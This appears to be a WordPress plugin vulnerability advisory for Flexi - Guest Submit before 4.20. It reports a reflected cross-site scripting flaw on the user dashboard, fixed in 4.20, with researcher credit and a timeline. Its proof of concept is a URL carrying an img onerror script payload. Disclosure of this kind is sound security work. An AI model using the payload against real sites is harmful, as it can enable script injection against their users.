WordPress Plugin Vulnerabilities
Flexi - Guest Submit < 4.20 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape various parameters before outputting them back in some pages such as the user dashboard, leading to a Reflected Cross-Site Scripting
Proof of Concept
Open the following URL when authenticated (as any user): https://example.com/user-dashboard/?search=keyword:<img%20src=1%20onerror=alert(/XSS/)>
Affects Plugins
Fixed in version 4.20
References
Classification
Miscellaneous
Original Researcher
Felipe Tapia Sasot
Submitter
Felipe Tapia Sasot
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-02-16 (about 1 years ago)
Added
2022-02-16 (about 1 years ago)
Last Updated
2022-04-08 (about 1 years ago)